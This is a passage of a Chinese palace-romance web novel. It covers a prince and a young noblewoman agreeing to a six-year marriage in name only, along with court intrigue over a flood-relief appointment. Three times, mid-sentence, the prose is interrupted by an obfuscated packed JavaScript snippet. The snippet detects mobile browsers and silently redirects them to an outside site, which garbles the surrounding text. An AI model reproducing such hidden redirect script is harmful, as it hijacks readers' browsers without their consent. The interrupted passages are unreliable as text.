太皇太后笑容十分真切,李怀荆这才放下心来,开始用膳,讲究着“食不言”,二人便皆无话,待早膳快用完时,宫人来报,说宸王正在殿外候着。 李怀荆放下碗,忙道:“快宣。” 太皇太后缓缓直起身子,道:“哀家忘了,一早便宣了老九来一同用早膳,怎的忘了等他,汪展你也不提醒哀家。” 汪展急忙告罪。 李长昀高大清瘦,步子很大,入了殿后恭恭敬敬地行礼,道:“臣请陛下安,请太皇太后安。” “快免礼。”李怀荆起身扶住了李长昀的胳膊,一脸歉疚道,“九皇叔,朕方才才知,皇祖母宣你一同用早膳,可是朕与皇祖母方才已用过了,实在是对不住……” “是哀家的疏忽。”太皇太后并未起身,只仰起下巴瞧着李长昀,道,“老九你坐下用些吧,哀家知你茹素,都是些清淡的菜色。” 李长昀目光略过桌案上的剩菜,行礼道:“谢太皇太后。” 李长昀一撩袍角,坐在了下首,汪展立着没动,崔悯迟疑了一瞬,便上前盛了一碗粥,放在了李长昀面前。 粥已经有些凉了。 李长昀却并不在意,面上神情淡淡的,脸色苍白得紧,眼下乌青更甚,修长的手指握着勺子,一下下搅动着粥,却一口未用。 太皇太后直接道:“哀家听闻,老九你昨日与姜家那二丫头见过面了?” 李长昀手指微顿,低声应是。 太皇太后眸光微闪,道:“那你觉得如何啊?” 李长昀迟疑了一瞬,缓缓道:“太皇太后挑的,自然不错。” “如今先帝的皇子之中,只有你还未成婚,哀家身为你的嫡母,不能不为你操心。”太皇太后仔细观察着他的神色,道,“只是哀家还听说,姜二娘子昨日在宫中言行无状,冲撞了你?” “皇祖母……”李怀荆有些慌张。 太皇太后拍了拍李怀荆的手背,道“皇儿莫急,那姜二娘子毕竟是你皇叔的未婚妻,听他如何说。” 李长昀终于抬眸看向太皇太后,轻笑着道:“她还年幼,贪玩了些罢了,算不得什么冲撞。” “那哀家就放心了。”太皇太后终于露出了笑容,道,“哀家听闻昨夜你亲自送了她出宫,还悄悄说了几句话,这心里不知道有多高兴。” 李长昀摩挲着拇指上的木戒,脸上仍十分平静,并未出声。 “只是有件事,还得需要你费些心思。”太皇太后看起来十分为难,道,“仁国公府只剩下她们两个孤女,只剩些远房亲戚又少得可怜,一时找不到合适的全福人。” “哀家不敢擅作主张,便问问你的意思。” 李长昀迟疑了一瞬,便缓缓道:“臣考虑过此事,想来皇室宗亲之中,唯有大嫂可担全福人,若太皇太后放心,此事便交臣去办。” 太皇太后笑容更亲切了些,道:“确实没有比她更合适的人了,此事交给你,哀家也放心。” 李长昀沉默应下,余光瞥见正拿着帕子给李怀荆揩嘴角的慈爱妇人,唇角仍噙着淡淡的笑意,只是眼角淡漠,眸光冰冷,不见光彩…… …… 姜奕安昨日写了一封帖子送到了恭王府,相约李怀茵今日去春深书肆买话本子,一早跟姐姐请安过后,便出发去了恭王府,与李怀茵碰了面。 待李怀茵一上马车,姜奕安便憋不住了,将李长昀约她今日在春深书肆见面之事和盘托出了。 李怀茵惊得瞪大了眸子。 姜奕安抱住了李怀茵的胳膊,道:“好怀茵,这事我不敢同旁人讲,只能委屈你帮我打掩护了。” 李怀茵却也并未推辞,拍拍自己的胸口:“你放心好了,这事交给我。” 姜奕安长舒了一口气,只是忍不住攥紧了拳头,拽着自己的裙子。 李怀茵察觉到了姜奕安的紧张,拍了拍她的肩膀,道:“你放心好了,九皇叔是正派人,不会对你有坏心思的。” 姜奕安尴尬地笑笑,道:“我倒不是担心这个。” 那日和李长昀相处,姜奕安感觉自己处于一种完全被压制的状态,让她有些无措…… 她在他面前,一点便宜也占不到,反而被牵着鼻子走。 正在思量间,马车缓缓停下,春深书肆到了。 姜奕安紧张地吞咽了一下,起身跳下马车, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659095|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬眸望了一眼书肆的牌子,又环顾了一下热闹的街巷,深吸了一口气,便被李怀茵揽着胳膊走进了书肆。 春深书肆是盛京城最大的书肆,每日人声鼎沸,往来络绎不绝,书肆中不仅有大量经世治国文章、诗书礼仪典籍,就连志怪传奇、游记话本,也是应有尽有。 就连姜奕安和李怀茵这样根本不爱看书之人,也时常来淘一些话本子。 姜奕安强装镇定,双手紧攥成拳,装作和李怀茵在柜前寻摸书籍的样子,此时书肆掌柜来到姜奕安身旁,道:“娘子想寻些什么书看?” 姜奕安扭头看向他,还未回答,便见掌柜继续道:“娘子上次让小人寻摸的诗书,小人已经寻到了,请娘子随小人来取书。” 诗书? 姜奕安从来不看这个,也从未请这掌柜帮忙寻过书,但她立刻明白过来,和李怀茵交换了一个眼神。 李怀茵环顾了一下四周的人,道:“那你快去快回,我在这里等你。” 姜奕安向她点点头,便拽着拂冬的衣袖,跟上了那位掌柜。 书肆深处并无客人,姜奕安也是第一次走进这里,只见柜上的书粘连着蛛网和灰尘,一看便知极少有人涉足,随着掌柜举着蜡烛七拐八拐,穿过了一个昏暗的夹道,便见掌柜轻轻敲了敲眼前的小门。 姜奕安攥着拂冬衣袖的手紧了紧。 小门打开了,强烈的光线渗入,姜奕安伸手遮住,忍不住眯起了眼睛。 “姜二娘子请,殿下已经等着了。” 姜奕安睁开双眸,便见李长昀端坐在桌案前望着她,道: “二娘子,请坐。” 姜奕安轻轻穿过小门,才发现自己竟从柜子里出来的,眼前四方的居室陈设十分干净整洁,只一屏风,一茶桌,两蒲团。 两扇窗户大开着,桌案上燃着的檀香香气幽微,缓缓向窗外飘去…… 李长昀今日一身素白锦袍,肩上绣了几株清淡的竹叶,他那双修长的手正灵活地操作着桌案上的茶具。 姜奕安深深地吐出一口气,走上前跪坐在了他的对面。 李长昀并未抬眸,只道:“下去吧,莫让不相干的人靠近。” 那掌柜应下,立在拂冬身旁,侧身请她从小门离去。 拂冬急忙看向姜奕安,姜奕安望了一眼李长昀的神色,又向她点点头,拂冬这才不甘心地退下。 小门一关,关门时卷起的风拂向了姜奕安的后背,她本就紧张,被春日颇有些寒意的风一吹,忍不住瑟缩了一下。 房中只剩下姜奕安和李长昀二人。 李长昀眉心微动,道:“放轻松,只是说几句话而已。” 姜奕安不愿被看穿自己的紧张,挺直了脊背道:“我很轻松呀,心里有鬼的人才不轻松呢,我行事坦坦荡荡、心里没鬼,自然很轻松呢。” 李长昀疲惫地捏了捏眉心。 又来了又来了,这般聒噪,还颇有些叛逆。 她难道就没有乖巧听话的时候吗…… 8. 第 8 章 第8章 姜奕安似是察觉到自己有些失礼了,略有些尴尬,目光落在了眼前清澈的茶汤上,举起了茶杯细细摩挲着上面的雕花。 是三节竹枝。 姜奕安轻轻“啊”了一声,抬眸看向李长昀,道:“王爷,这里是竹青茶楼吗?” 李长昀好不容易抚平了眉心,微微颔首,并不多做解释。 竹青茶楼在盛京城不算最大的茶楼,却是文人雅士吟诗作对、交流学问的胜地,尤其是每年春闱之时,此处总是簇拥着各地学子,纵论经义文章之法,畅谈经世治国之道。 故而盛京城的勋贵人家、朝中重臣若有事相商或会晤亲友,也会来此处。 竹青茶楼与春深书肆隔着一条街,没想到内里却能连通,倒让姜奕安吃惊不小…… 李长昀缓缓抿了口茶,单刀直入:“前日听二娘子的意思,似是对赐婚于本王之事,略有不满,想要让陛下收回成命?” 姜奕安正了正身子,道:“也不是不满,只是王爷和我对彼此都无男女情意,若强行成婚,只怕两个人都不得幸福。” 李长昀轻轻点头,脸上神情似是含着些探究之意,道:“那恕本王冒昧,请问姜二娘子可有心上人?” 姜奕安一惊,急忙摆手道:“没有的事。” 李长昀轻轻地笑了。 正是贪玩年纪罢了,是他想岔了…… 夏日的微风有些湿润,也十分柔和,将茶室内的檀香气息引出,又吹皱了茶杯里清澈的茶汤。 姜奕安不知他是何意,心里着急地想再解释几句,李长昀却敛去了笑意,道:“本王知道,先吃口茶吧,这茶不苦不涩,应当符合孩子的口味。” 孩子? 姜奕安抿了抿唇,刚要开口,却想到他似是很嫌弃别人话多,便小声嘟囔了句“我都十六了,都要成亲的人了,还是孩子吗”,举起茶杯敷衍地抿了一口。 却发现这茶清香微甜,回味甘醇,竟意外得好喝, 姜奕安一口就将剩下的茶喝掉了,将茶杯放下,乖巧地看着李长昀。 李长昀这次没笑,只与姜奕安对视了一眼,便垂眸将她的茶杯蓄满了,道:“本王有几句心里话,还请二娘子静心听一听。” 姜奕安小鸡啄米似的点头。 竟是难得安静乖巧一次…… 李长昀满意地将茶壶放下,右手将左手拇指上的木戒转了转,薄唇微启,道:“赐婚一事,确实事发突然,本王虽奉旨辅政,颇有实权,但嫡母之命不可违,故而与姜二娘子成亲,虽非本王所愿,但势在必行。” 李长昀神色认真,眸光坚定,姜奕安见状,心凉了半截,眸光也黯淡了。 李长昀装作没瞧见她的神色,继续道:“女子成婚,看的无非是郎君家世品貌和高堂亲眷脾性,本王虽一心向道,但仍是亲王之尊,若姜二娘子与本王成婚,银钱不必烦忧,地位尊荣也有。再者,本王的父皇已驾崩,母妃也仙逝多年,只留嫡母长居宫中,只需逢年节时入宫问安即可,比起做寻常人家的儿媳,想来是要清闲许多。” 姜奕安想起姐夫还在时,姐姐在诸葛府中的日子,那时可要每日向婆母请安伺候的…… 盛京城中的人家,无论是勋贵还是朝臣,规矩都是极大的,一个孝字压下来,她是不可能逃脱的…… 这么看来,与这位宸王成婚,倒也不是全无好处的。 姜奕安有些心动了…… 李长昀抬眸瞧了一眼姜奕安的神色,便继续道:“本王于九年前开始潜心修道,虽未正式皈依,但恪守三皈五戒,只待陛下亲政之时,便正式舍下宗室身份和朝中要职,出家为道。” 李长昀手指轻点茶桌,道:“若以陛下十五岁亲政来算,还有约莫六年时间,故而姜二娘子只需要与本王扮演六年夫妻,待陛下亲政,本王皈依,宸王府所有财产全归姜二娘子,无论你是想和离,还是想继续作为宸王妃享受食邑,本王都依你。” 这实在太有诚意了。 姜奕安更心动了,只是还有一点小顾虑,张了张唇,有些不好意思说出口,感觉自己有些得寸进尺。 李长昀目光落在姜奕安纠缠着帕子的双手,叹息了一声,语重心长道:“这六年,本王与你只有夫妻之名,但无夫妻之实,本王会时常宿在道观,守着规矩清修,姜二娘子可在府中随心所欲生活,只要不做违法背德之事,本王不会对你施加过多管束,王府财产也由你支配,你想出府便出府,想与友人玩乐便去玩乐,只需同王府中人报备一声即可。” “修道之人要遵从三皈五戒,五戒之中第四戒为‘不妄语’。”李长昀脸上涌现出温和的笑意,道,“姜二娘子放心,本王从不妄语,定会重诺。” “只是,这约定,还请姜二娘子保密,莫要同任何人讲。” 他着重强调了“任何人”。 这下姜奕安一点顾虑都没有了,脸上露出了灿烂的笑容,杏仁般的双眸眯成了两条缝,飞快地起身向李长昀恭恭敬敬行礼,道:“宸王殿下这般真诚,我若不应下,显得有些不识好歹了。” 姜奕安笑得露出了一排小白牙,道:“既如此,就多谢殿下了,等殿下皈依道门那日,我一定给殿下立一个牌位,求老天保佑,让殿下早日羽化登仙。” 他这样的人,若无法修炼成仙,她都为他打抱不平。 李长昀失笑,不禁摇了摇头,但也松了口气。 她答应了就好,这样婚后不影响他清修,他能过点安生日子…… 李长昀见姜奕安的茶杯空了,便打开茶桌边上的竹篓,拿出了一包茶叶,道:“你方才用的茶是这竹青茶楼特有的,名为春雨初霁,要带一些回去吗?” 就这样,姜奕安从小门钻出去的时候,手中捧着一包茶叶,还有书肆掌柜塞给她的一本诗集,待那小门关上时,姜奕安回首望向茶桌后不动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659096|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如山的李长昀,突然后悔自己空着手来了…… 好像有些失了礼数…… 姜奕安叹了口气。 总归自己在他面前失礼不是一次两次了,等日后成了婚,定要好好待他…… 婚后做不成真夫妻,也可以成为好友呀,毕竟日后会时不时生活在同一个屋檐下,关系亲近些总比相看两厌的好,这样才有利于盟友关系的稳固…… 姜奕安回到了书肆,见李怀茵在话本柜台那里捧着一本书如痴如醉,似是入了迷,并未发现她。 姜奕安上前轻咳了两声,李怀茵吓了一跳,险些拿不稳书,见是姜奕安才松了一口气,轻声道:“结束了吗?” 姜奕安点头,似是对李怀茵怀中的话本很感兴趣,指了指道:“这话本子好看吗?” 李怀茵做贼似的将几本话本子捂在怀中,只胡乱道:“等上马车再说。”便拉着姜奕安去了书柜柜台,草草结了账。 姜奕安看着那话本子,似是叫什么“幽魂”。 二人上了马车,李怀茵将话本子塞给了婢女,同姜奕安道:“你和九皇叔谈得如何了?” 姜奕安知道轻重,瞒下了二人之间的约定,只将李长昀所说的同他成婚的好处改了改,又道:“皇叔说了,婚后不会拘着我的,日后我还可以经常同你出来玩的。” “当真?”李怀茵握住了姜奕安的手,笑嘻嘻道,“真没想到九皇叔这般开明。” “他可能并不是开明,而是嫌我烦吧。”姜奕安回忆了一下两人仅有的几次见面情景,有些尴尬道,“他看起来性子安静、不爱说话,我又是好动又话多的人,若是成婚以后我整日在他眼前晃来晃去、不停说话,会打扰他清修吧。” “我若是他,也会这般,眼不见心不烦嘛。” “那九皇叔当真是高瞻远瞩,前几日我还在琢磨,等你成婚后怎么从他眼皮子底下将你诓出去玩呢。”李怀茵嘿嘿一笑,道,“我跟你讲,我祖父的庄子已经快建好了,不仅能泡温泉,还圈了一片猎场,能打马球、练骑射、炙野味,我到时候请与咱们玩得来的几个小郎君,再叫上少沅表姐,咱们一起去热闹热闹。” “我可跟你说,她不是和离了吗,在府中养了几个小倌倌,我曾见过一次,那真是色艺双绝。”李怀茵压低了声音,道,“到时候我求了表姐,一并请去咱们开开眼。” 姜奕安惊得瞪大了眸子。 她虽喜欢玩乐,但从未涉足过烟花之地,更没见过小倌倌,好奇心顿起,惊喜地点了点头,道:“那可说好了,你若是不叫我,那我再也不理你了。” 总归六年之后她就是自由身了,先物色几个可心的小倌倌也挺好,等九皇叔真去当道士了,她就像少沅姐姐那样,找几个小倌倌过快活日子…… 反正九皇叔不管她。 姜奕安唇角含着茶杯,嘿嘿地笑着,而仍在竹青茶楼的李长昀,忍不住打了个喷嚏…… 9. 第 9 章 “殿下,是身子不适吗?” 李长昀摇了摇头,将手帕收起。 他仍在茶室之中,身旁站着的是茶室掌柜舒清。 茶楼掌柜舒清约莫二十岁的年纪,身量偏瘦,面容清秀,看起来知礼守礼,只是眉目间似有淡淡愁绪,道:“殿下当真想好,要与姜二娘子成婚吗?” 李长昀抬眸看向他,道:“你是觉得,她有何不妥?” “并非是她有不妥,而是殿下成婚有些不妥。” 舒清瞧见李长昀淡漠的神色,立刻垂眸行礼道:“是我失言了。” 李长昀摇了摇头道:“不是她,也会是旁人,太皇太后的意思是,我必须成亲。” “她姐姐是诸葛家的人,诸葛家那老妇……”舒清抿了抿唇,叹息了一声,道,“若她是太皇太后派来的探子,那于我们的大业而言,岂非威胁甚大?” “婚后过了前几日,我便长居道观,让她自己住在宸王府,那宸王府空壳一个,不必忧心。”李长昀将双手背在身后,神色没有一丝变化,摩挲了一下木戒,道,“若有一日,她当真不知死活地挡了我们的路,那我也不会手软……” 舒清看起来长舒了一口气。 茶室门被敲响,有伙计来报,宁王府的马车已快到楼下了。 李长昀和舒清相继出了茶室,来到楼下亲自迎接宁王,宁王大腹便便、笑容亲切,一见到李长昀,眼角都笑出了褶子,道:“九弟,许久未见竟清减了许多。” 李长昀脸上笑意温和,行礼道:“许久未见,大哥倒是愈来愈年轻了。” 宁王李长暄是先帝长子,比身为幼子的李长昀年长整整二十岁,在朝中并无实职,只爱游山玩水。 若不是李长昀成婚在即,想必他也是不会回京的。 宁王捋着胡须,哈哈大笑:“九弟惯会说笑。” 二人一边寒暄着一边上楼进了同一间茶室,如今茶室之中已是焕然一新,姜奕安出现过的痕迹已消失得无影无踪,舒清亲自泡茶斟茶,李长昀兄弟二人落座后又寒暄了几句,宁王好奇地打量着李长昀,道:“我在江南一听到你要成婚的消息,马不停蹄赶回来,昨日刚到,收到你消息便出来见你了。” “你不知道,大哥有多高兴,大哥本以为,这辈子都见不到你成亲那一日了。” 李长昀无奈地笑笑,道:“让大哥见笑了。” 宁王摆摆手道:“其实许久之前,大哥便想劝你,成亲那是百利无一害的好事,你瞧瞧大哥,和王妃二十年如一日的恩爱,你那小侄儿长大后自去闯荡江湖,我从不过问,和王妃天南海北跑来跑去,日子多么快活。” “还是大哥福泽深厚。”李长昀仍是笑着,道,“故而小弟这次厚着脸皮,想请大哥大嫂帮忙,请大嫂受累做一次全福人。” “按礼来说,全福人这事不应由我操心,只是仁国公府亲眷不多,全福人实在难找得很。” 宁王“啊”了一声,接着便点头道:“好说好说,你大嫂定会同意的。” 李长昀起身恭恭敬敬行礼,道:“那就多谢大哥大嫂了。” 宁王急忙起身将他摁坐下,道:“都是自家人,不说谢字。”接着便清了清嗓子,压低了声音道,“这几年你过得太苦了,不知道红尘的乐趣,等你成婚之后,其中意趣你慢慢就懂了。” 宁王一副过来人的样子,向李长昀眨了眨眼。 李长昀垂眸,笑而不语。 宁王能看出他的抗拒之意,无奈地叹了口气。 年纪轻轻的,怎的就走了修道这条路…… 宁王便不再说此事,只与李长昀分享这次下江南的趣闻,兄弟二人相谈甚欢,一直到了午膳时分,李长昀才亲自将宁王送出了茶楼。 李长昀目送宁王府的马车离去后,夏原在一旁行礼道:“殿下,马车已经候着了。” 茶楼门前的街巷上行人纷纷扰扰,叫卖声响成一片,热闹非凡,李长昀目光掠过对面笔墨铺子二楼刚刚关上的窗户,扯了扯唇角,道:“还有旁的尾巴吗?” 舒清抬眸看向李长昀,行礼道:“没有了。” 李长昀并未说什么,只微微颔首,并未再看舒清一眼,只迈步向前,同夏原道:“出城吧。” …… 崇元三年三月二十一,正逢七日一次的大朝。 金銮殿之上,臣子们行罢跪拜之礼,李怀荆坐在龙椅之上手指纠成了一团。 背后珠帘后,正是垂帘听政的太皇太后。 诸葛氏是盛京第一名门,诸葛元已年过花甲,为内阁首辅兼吏部尚书,门生众多,实际上把持着大盛朝的半壁江山,太皇太后便是其嫡亲妹妹。 诸葛元育有二子,长子是死于九年前先定王之乱中的前禁军大统领诸葛诚,次子便是当今禁军统领诸葛让。 诸葛元已是花甲之年,但精神矍铄、神采奕奕,君前奏对时声如洪钟、气势非凡,行礼道:“微臣启奏,宁河流域春汛致水患已持续十日,连淹二十县,流离失所百姓过万,微臣已与户部、工部共同拟定了赈灾之法,请陛下圣断。” 李怀荆仔细翻阅着奏章,觉得赈灾之法十分得当,只道:“朕并无异议,只是此次赈灾条程甚繁、牵涉众多,朕以为,需派一位经验丰富的臣子亲往银州主持赈灾之事。” 诸葛元恭敬行礼道:“陛下,微臣以为,工部员外郎章焕才学兼备、颇具经验,可担此任。” 章焕正是内阁次辅兼户部尚书章洛之子,章洛已年逾古稀、致仕在即,与诸葛元堪称铜墙铁壁,如今也开始提携自己的儿子,既能继续抬举章家,也能为诸葛元在朝中巩固势力。 诸葛元话毕,觑了一眼李长昀。 李长昀虽在朝上身着锦袍,但也只是素色,简朴异常,束发在顶只简单地簪了木钗,看起来十分温和,只向小皇帝行礼道:“启奏陛下,章员外郎自是才华出众、颇具贤名,只是臣以为,有一人比他更合适些。” 李怀荆目光在舅祖和皇叔之间游离,只道:“皇叔请讲。” “户部员外郎裴峻。” 裴峻如今三十岁的年纪,在朝中向来不显山不露水,是做实事的人,只是无甚背景。 李怀荆有些犯了难…… 珠帘后传来响动,太皇太后轻咳了一声,诸葛元便继续道:“陛下,裴员外郎年纪尚轻,又无经验,担此重任,怕是勉强了些。” 李长昀仍是温和地笑着,道:“若说年纪,章员外郎比裴员外郎只年长三岁,差距倒是不大,若论经验,裴员外郎曾在工部任职,又调任户部,既有管理钱粮经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659097|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验,也颇通土木水利工程,若臣眼力不错,这篇赈灾奏疏想来便脱胎于裴员外郎初入工部时所写的那一本赈灾集注……” 李长昀拿出一本书晃了晃,道:“确实和章员外郎的赈灾奏疏像得很……” 诸葛元登时吃瘪,扭头看向李长昀。 李怀荆眸光一亮,道:“快呈上来。” 崔悯将书从李长昀手中取来,恭恭敬敬地呈上,李怀荆接过后读着。 珠帘后的太皇太后缓缓开口,道:“赈灾之事关系重大,一味纸上谈兵并不可取,哀家记得,本朝银州水患曾有过两次,一次在十三年前,一次在九年前,十三年前那次是章尚书亲去重建堤坝,九年前那次是章尚书之子章员外郎奉旨修补,可见父子二人皆是经验丰富,可堪大任。” 太皇太后一出声,殿中一时之间安静得落针可闻,李长昀只轻轻笑了笑,道:“臣听闻,前朝工部有位尚书,督建的堤坝历经数百年至今,仍保江南一方平安无患,章尚书和章员外郎督建的堤坝竟只防了十几年……” 此话一出,朝堂之上议论之声顿起,章焕脸色涨红,诸葛元和章洛也无话可驳,珠帘后的太皇太后登时捏紧了手心…… 李怀荆一直没说话,只认真看那集注,愈看愈激动,只是听着朝上二人的争辩,十分头痛。 他不想驳皇祖母和舅祖父的面子,但不得不承认,九皇叔的话有道理,而且裴峻的赈灾集注写得极合他心意。 李怀荆悄悄抬起头,便见九皇叔正含笑望向他,眸光清明,隐含着稳定人心的力量,他立刻想到九皇叔带他学的《贞观政要》任贤一篇。 李怀荆捏紧了那本赈灾集注,抿了抿唇,道:“裴员外郎这本赈灾集注,当真是言之有物,依朕看,便依九皇叔的意思,派裴员外郎前去银州赈灾。” 裴峻从角落之中穿梭过众臣来到殿前,恭敬领旨。 李长昀脸色淡漠,并未看向裴峻,诸葛元和章洛的目光却紧紧跟随着裴峻,直到下朝时,也盯住了他的背影。 诸葛元压低了声音,向章洛和章焕父子道:“先派人盯紧了这个裴峻的行踪,我需去寿康宫,向太皇太后通报此事。” 章洛应下,目送诸葛元离去,和章焕一路无话,待出了宫门,回首便见李长昀也缓缓从宫门走出,唇角扯出了一个僵硬的笑容,潦草地行礼过后,便与儿子一道上了马车。 马车缓缓行进,章焕道:“父亲放心,有太皇太后在,就算此事被翻出来,想必不会有事。” 章洛闭了闭目,道:“为父就怕,若当真捂不住了,咱们章家会被太皇太后当成弃子抛下……” 章焕大惊失色“父亲,那我们父子岂非成了靶子……” 章焕目光一凛:“所以无论太皇太后是什么意思,绝不能让裴峻活着回来!” 李长昀在一旁目送着章家马车离去,唇角浅淡的笑意立刻消失,眉心紧紧蹙着,目光冷冽了许多,转身准备上马车离去。 谁知一转身,便瞧见远处另一辆马车上,跳下来一个雪青色的纤细身影。 姜奕安眸子晶亮,向李长昀招了招手,微微拎起了裙裾,飞快向他跑来。 李长昀立在远处没动,却突然感觉心悬在了半空。 宫墙之外,她向自己跑来作甚…… 10. 第 10 章 “王爷!” 姜奕安停下脚步,和李长昀隔着马车相望,道:“王爷是刚下朝吗?” 李长昀见她没有再往前靠,立刻松了一口气,只点了点头,并未言语。 姜奕安已然将李长昀当友人一般相处了,虽感觉他有些冷淡,但也并未在意,只道:“方才瞧王爷一直皱着眉头,是有不顺心的事吗?” “若有不顺心的事,可以跟我说说呀,说出来会好些的。” 二人之间仍是隔着马车,姜奕安比他矮了一整个头,仰着头望向他,李长昀一低头,便立刻能感受到她的目光。 赤诚,热烈。 李长昀避开了她的眸光,伸手捏了捏眉心,道:“只是习惯罢了,没什么的。” “王爷,这个习惯会让眉心皱纹愈来愈深的。”姜奕安伸手点了点自己的眉心,“等我和王爷成婚了,每日都给王爷按摩一下眉心吧。” 王爷都对她这般照顾了,而且要将整个宸王府都给她,她总不能什么都不付出,白占宸王妃的名头吃空饷吧。 李长昀眉心一跳,下意识便后退了一步:“多谢二娘子关怀,本王若得空自己抚一抚便是了。” 姜奕宛缓缓走下马车,扭头便见自己妹妹正和李长昀聊得正欢,吓了一跳,问拂春:“安娘什么时候和宸王殿下这般熟稔了?” 拂春轻声道:“那日在宫中,似是说了会话。” 所幸此时朝中官员皆已散去,姜奕宛叹息了一声,正想上前,却被一声“嫂嫂”给绊住了脚,扭头便见诸葛让正从宫墙之中缓缓走来。 姜奕宛脚步微顿,露出了一个十分得体的笑容。 诸葛让离姜奕宛约莫三尺距离时,便停下了脚步,将身侧的刀挪到了身后,道:“近日宫中事忙,未能得空前去看望嫂嫂,不知嫂嫂身子如何?” 姜奕宛向他行礼,垂下了头道:“多谢小叔挂心,我身子强健得很,近日一直在忙小妹的婚事,未能得空向祖父和父亲母亲请安,实在羞愧……” “不碍的,家中长辈一切都好,嫂嫂只管照拂二娘子便是,不必担忧。” 诸葛让垂眸看向姜奕宛,见她也是低垂着眸子,似是对自己避之不及…… 诸葛让不知该说什么了,而姜奕宛更不是主动开口的性子,沉默就在二人之间蔓延。 他二人之间,确实不该有多交集。 而不远处的李长昀目光落在诸葛让和姜奕宛身上,立刻将眉心的话题转移:“今日二娘子进宫所为何事?” 姜奕宛果然放弃了眉心之事,道:“是太皇太后宣我和姐姐进宫的。” 李长昀抬眸望了一眼天色:“这个时辰,太皇太后应是已用完早膳了,还是莫让她久等的好。” 姜奕安立刻点头,向他行了一礼,告别后便又跑向了自己的姐姐,不知几人说了什么,诸葛让脸色似是红了几分,闪身让她们姐妹二人进了宫门。 李长昀立刻上了马车,坐在马车之中,忍不住伸手抚向了自己的眉心。 似是真的有些纹路了,可这怎么是按摩能缓解的呢…… 李长昀自嘲般地笑了笑。 …… 寿康宫中,太皇太后扔下了瓷杯,碎了一地。 “好个李长昀,竟当众驳哀家的面子!” “娘娘息怒,当务之急并未生气,而是如何将银州之事遮掩过去。”诸葛元忍不住咳了几声,道,“这个裴峻若是能收买的话……” 太皇太后眸光凛冽,手扶着凤椅,道:“杀了他。” 诸葛元哽住了,喃喃道:“他……倒是个可用之才。” 他看过那本赈灾集注,写得当真极好,一看便是有真才实学之人。 太皇太后压低了声音,道:“兄长,我们不能冒险。” 诸葛元叹息了一声,行礼道:“老臣领旨。” 汪展此时轻声进殿,道:“娘娘,首辅大人,贞德夫人来了。” 太皇太后缓缓坐直了身子,诸葛元与她交换了眼神,待姜奕宛姐妹二人进殿,向太皇太后行礼过后,便又向诸葛元行礼。 姜奕宛道:“这段日子未能向父亲请安侍奉,是儿媳之过……” 诸葛元摆摆手道:“无妨,为父身子尚且硬朗,还无需你们小辈侍奉。” 太皇太后笑道:“兄长,哀家有几句贴心话,想和孩子们说说。” 诸葛元便立刻告退了。 太皇太后目送着兄长离开,便立刻给姐妹二人赐座,让姜奕安惊讶的是,这次太皇太后只跟姐姐说了几句话,剩下的都在向她嘘寒问暖。 太皇太后脸上笑意盈盈,向姜奕安招招手道;“上前来哀家瞧瞧。” 姜奕安心中一惊,却也不敢抗命,躬身上前,在太皇太后的榻前跪坐着,拉住了太皇太后伸向自己的手。 她儿时见太皇太后次数多些,那时还是延禧殿的诸葛贵妃,母亲生前颇得她喜爱,时常召入宫中叙话,不然姐姐也不会被太皇太后看中,选为诸葛家的宗妇,她那时还小,便由宫人陪着在延禧殿中各处玩耍。 只是九年前那次宫变之后,入宫次数少了,若进宫,基本都是奉陛下之命陪陛下玩耍,每年也就见太皇太后两三次,俱是和姐姐一起。 姐姐与母亲一样,颇得太皇太后喜爱,时常进宫伴驾,不过她知道姜奕安的性子,不常带她,只除夕、中秋带她在太皇太后面前走个过场罢了。 在姜奕安的印象中,太皇太后要么拉着姐姐的手,要么拉着汪展的手,从未和自己有过拉手这般亲密的举动,让她有些不太适应…… 太皇太后的手十分细嫩,一看便知保养甚好,她轻轻摩挲着姜奕安的手,怜爱地抚了抚她的脸颊,道:“真是个秀丽可人的娘子,哀家喜欢得紧。” “哀家瞧着这些日子,皇儿的身子健壮了许多,想来也有你的几分功劳,日后就是真正的一家人了,若得了空,多进宫陪陪哀家和皇儿。” “等成婚后,老九若是欺负你,只管来跟哀家说,哀家定会给你做主的。” 姜奕安当真受宠若惊,连连点头,姜奕宛见妹妹得了太皇太后喜欢,也是松了一口气,三人一直说着话到了午膳时分,用过了午膳才离宫。 …… 一个月的时间过得极快,姜奕安日子过得极为滋润,隔三差五便与几个好友相约出游,还陆续收到了几个好友送她的礼物。 李怀茵的表姐许少沅送了她一整套新头面,李怀茵则拉着她去了绸缎庄和裁缝铺,给她裁了一整套新衣裙,还神神秘秘跟她说,还有一份大礼得等她婚后才能送…… 而陆鸣鹤姗姗来迟,在离亲迎之期还有三日时,请李怀茵将给她画得那副美人桃花图转送了过来。 